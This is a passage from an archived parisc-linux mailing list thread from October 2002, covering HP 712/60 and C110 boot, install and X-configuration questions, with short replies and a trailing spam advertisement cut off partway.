One more thing: please do not mail me personnaly, this is not a private lesson, and this kind of questions may be useful for other people.



Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/
> 
> Any hints?
> Thanks.
> Jeffo.
> 
> ----- Original Message -----
> From: Thibaut VARENE <varenet@esiee.fr>
> To: <parisc-linux@lists.parisc-linux.org>
> Cc: <jeffo@pop.hsbc.com.br>
> Sent: Friday, October 11, 2002 10:30 AM
> Subject: Re: [parisc-linux] HP Boot
> 
> 
> > On Fri, 11 Oct 2002 10:03:11 -0300
> > "Jeffo" <jeffo@pop.hsbc.com.br> wrote:
> >
> > >  Hi all.
> > >
> > >  How to properly configure my HP 712/60 for loading the right boot
> files?
> > >  (/target/boot/vmlinux)?
> > >  (Oh, by the way, the boot installer tried to look for the files in
> > >  /target/vmlinux, and on the CD we can see /target/boot/vmlinux)
> > >
> > >  I guess I have to play with the ISL...but I couldnt find the right
> > > commands
> > >  for changing the default (/stand/hpux which dont even exists anymore)
> to
> > > my
> > >  boot thing.
> > >
> >
> > Everything is explained on the PA-RISC/Linux Boot HOWTO, released as of
> > 2002-10-04 (sorry the release date hasn't been correctly set in the
> changelog) in its 1.0 version.
> > Please check:
> > http://pateam.esiee.fr/doc.html
> >
> > HTH,
> >
> >
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://pateam.esiee.fr/
> >
> 
> 




From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan McLaughlin <DMcl@amcol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Fri, 11 Oct 2002 10:23:21 -0500
Lines: 303
Approved: news@gmane.org
Message-ID: <466EEDE4653DD41195EA00508BAC9685022F437A@AMCHIEXCH01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----_=_NextPart_000_01C2713A.21FC7430";
	type="multipart/alternative"
X-Trace: ger.gmane.org 1416621823 15611 80.91.229.3 (22 Nov 2014 02:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:43 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 09:27:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amchiexch01.amcol.com (unknown [12.107.111.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E9A24829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 09:27:17 -0600 (MDT)
Original-Received: by AMCHIEXCH01 with Internet Mail Service (5.5.2653.19)
	id <4P860BL4>; Fri, 11 Oct 2002 10:23:23 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16468

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2713A.21FC7430
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2713A.21FC7430"


------_=_NextPart_001_01C2713A.21FC7430
Content-Type: text/plain

 
Has anyone got it to install completely on a c110. get past the install
part(1st part) but when it goes to install the second part ie desktop,
development. I get an error that it could not install. Debian is not perfect
would you like to retry?
Boot = 25M
/ = 1000M
home =500
swapp= 250
/usr= 2g
It's a c110 with 512 Megs of ram
 2 X 2gig hard drives
 
 
Dan McLaughlin
Help Desk
 

------_=_NextPart_001_01C2713A.21FC7430
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C27110.B9600B90">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:"Monotype Corsiva";
	panose-1:3 1 1 1 1 2 1 1 1 1;
	mso-font-charset:0;
	mso-generic-font-family:script;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
@font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:536871559 0 0 0 415 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:Verdana;
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	color:black;
	mso-believe-normal-left:yes;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:black;
	font-weight:normal;
	font-style:normal;
	text-decoration:none;
	text-underline:none;
	text-decoration:none;
	text-line-through:none;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]--><![if mso 9]>
<style>
p.MsoNormal
	{margin-left:51.0pt;}
</style>
<![endif]><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1" />
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite background=3D"cid:image001.gif@01C27110.B9600B90" =
lang=3DEN-US
link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in;margin-left:51.0pt'>
<img src=3D"cid:image001.gif@01C27110.B9600B90"
v:src=3D"cid:image001.gif@01C27110.B9600B90" v:shapes=3D"_x0000_Mail" =
width=3D0
height=3D0 class=3Dshape style=3D'display:none;width:0;height:0'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>Has anyone got it to install completely on a =
c110. <span
class=3DGramE>get</span> past the install part(1<sup>st</sup> part) but =
when it
goes to install the second part ie desktop, development. I get an error =
that it
could not install. Debian is not perfect would you like to =
retry?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>Boot =3D 25M<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>/ =3D 1000M<o:p></o:p></span></font></p>

<p class=3DMsoNormal><span class=3DGramE><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>home</span></font></span><f=
ont
face=3DArial><span style=3D'font-family:Arial'> =
=3D500<o:p></o:p></span></font></p>

<p class=3DMsoNormal><span class=3DGramE><font size=3D2 color=3Dblack =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'>swapp</span></font></span><=
font
face=3DArial><span style=3D'font-family:Arial'>=3D =
250<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>/usr=3D 2g<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'>It's a c110 with 512 Megs of =
ram<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'><span =
style=3D'mso-spacerun:yes'>&nbsp;</span>2 X 2gig
hard drives<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D4 color=3Dblack face=3D"Monotype =
Corsiva"><span
style=3D'font-size:13.5pt;font-family:"Monotype =
Corsiva";mso-no-proof:yes'>Dan
McLaughlin</span></font><span =
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D4 color=3Dblack face=3D"Monotype =
Corsiva"><span
style=3D'font-size:13.5pt;font-family:"Monotype =
Corsiva";mso-no-proof:yes'>Help
Desk</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DVerdana><span
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C2713A.21FC7430--

------_=_NextPart_000_01C2713A.21FC7430
Content-Type: image/gif;
	name="image001.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="image001.gif"
Content-ID: <image001.gif@01C27110.B9600B90>

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
Hwy33OUyVxmoaE6zmvVq5jb7LAEAOw==

------_=_NextPart_000_01C2713A.21FC7430--


From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (no subject)
Date: Fri, 11 Oct 2002 17:11:23 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20021011161123.GA32716@tykepenguin.com>
References: <466EEDE4653DD41195EA00508BAC9685022F437A@AMCHIEXCH01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621824 15612 80.91.229.3 (22 Nov 2014 02:03:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:44 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 10:11:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust7.leed.broadband.ntl.com [80.7.68.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id A49114829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 10:11:27 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.36 #1 (Debian))
	id 1802Nn-0008WN-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 17:11:23 +0100
Mail-Followup-To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <466EEDE4653DD41195EA00508BAC9685022F437A@AMCHIEXCH01>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16469

On Fri, Oct 11, 2002 at 10:23:21AM -0500, Dan McLaughlin wrote:
>    Link: File-List
> 
>    Has anyone got it to install completely on a c110. get past the install
>    part(1st part) but when it goes to install the second part ie desktop,
>    development. I get an error that it could not install. Debian is not
>    perfect would you like to retry?
> 

It's been running on my C110 for ages now. but then I did install before the
woody release.

-- 

patrick



From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Fri, 11 Oct 2002 19:13:43 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <200210111913.43681.deller@gmx.de>
References: <200210081427.IAA27522@udlkern.fc.hp.com> <20021008234854.GE18202@systemhalted> <3DA689F7.9000208@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621824 15615 80.91.229.3 (22 Nov 2014 02:03:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:44 +0000 (UTC)
To: Tilo Riemer <t.riemer@visoel.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 11:20:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7EB574829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 11:20:33 -0600 (MDT)
Original-Received: (qmail 8226 invoked by uid 0); 11 Oct 2002 17:20:29 -0000
Original-Received: from pd9040743.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.67)
  by mail.gmx.net (mp020-rz3) with SMTP; 11 Oct 2002 17:20:29 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <3DA689F7.9000208@visoel.de>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16470

On Friday 11 October 2002 10:21, Tilo Riemer wrote:
> what does happen if I compile my own kernel without HIL support? My
> machine runs as server without keyboard and mouse and I hope I must
> never use the keyboard ;-)

Should work and you have no load at all.

Greetings,
Helge


From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Now....for the X.
Date: Fri, 11 Oct 2002 15:43:01 -0300
Lines: 11
Approved: news@gmane.org
Message-ID: <009101c27156$075a9be0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621824 15616 80.91.229.3 (22 Nov 2014 02:03:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:44 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 12:43:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hsbcsv18.hsbc.com.br (hsbcsv18.hsbc.com.br [200.208.29.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 449974829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 12:43:33 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv18.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5de088a365ac1c50544e4@hsbcsv18.hsbc.com.br> for <parisc-linux@parisc-linux.org>;
 Fri, 11 Oct 2002 15:43:29 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9BIhS217636
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 15:43:29 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16471

Hello.


Any hints on what exaclty hardware options to use while configuring the X
for a 712/60?

Thanks.
Jeffo.




From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <herald@ns1.nabitel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (ad)Strong WebRobot/eMailId Collector: Free Download !
Date: Sat, 12 Oct 2002 11:07:09 +0900
Lines: 170
Approved: news@gmane.org
Message-ID: <NS1GKgfEUrIQiruiKjJ0000f608@ns1>
Reply-To: <herald@ns1.nabitel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_416C3_01C271DF.82181FE0"
X-Trace: ger.gmane.org 1416621825 15617 80.91.229.3 (22 Nov 2014 02:03:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 20:13:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns1 (unknown [211.218.242.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF6484829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 20:13:23 -0600 (MDT)
Original-Received: from mail pickup service by ns1 with Microsoft SMTPSVC;
	 Sat, 12 Oct 2002 11:07:13 +0900
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 12 Oct 2002 02:07:13.0743 (UTC) FILETIME=[14C63DF0:01C27194]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16472

This is a multi-part message in MIME format.

------=_NextPart_000_416C3_01C271DF.82181FE0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable


Sorry for interrupting you - click refuse
<mailto:mailer@ns1.nabitel.com>  for no more mail... =09
=A1=A1 =09
- Welcome to NabiTel's <http://www.nabitel.com/English.asp>  software
products and portal services - =09
Software Products =09
 <http://www.Nabitel.com/English.asp>=20

Web Robot: also called web spider or web crawler, collects useful web
page informations by navigating world wide web sites.=20

Download free trial version now ! <http://www.nabitel.com/English.asp>=20

 <http://www.Nabitel.com/English.asp>  	eMail ID Collector: Collects
email ids publicly opened on various web pages, with good intention.=20

Download free trial version now ! <http://www.nabitel.com/English.asp>=20

Portal Services =09
 <http://www.nabitel.com/English.asp>  	Web Portal: Do you have your own
home page and want to broadcast it all over the world ? Register your
home page to NabiTel Portal Now !! (nabi=3Da butterfly)

Register your home page now, it's free !
<http://www.nabitel.com/English.asp>=20

 <http://www.AllThatCars.com/English.asp>  	Automobiles: Do you want
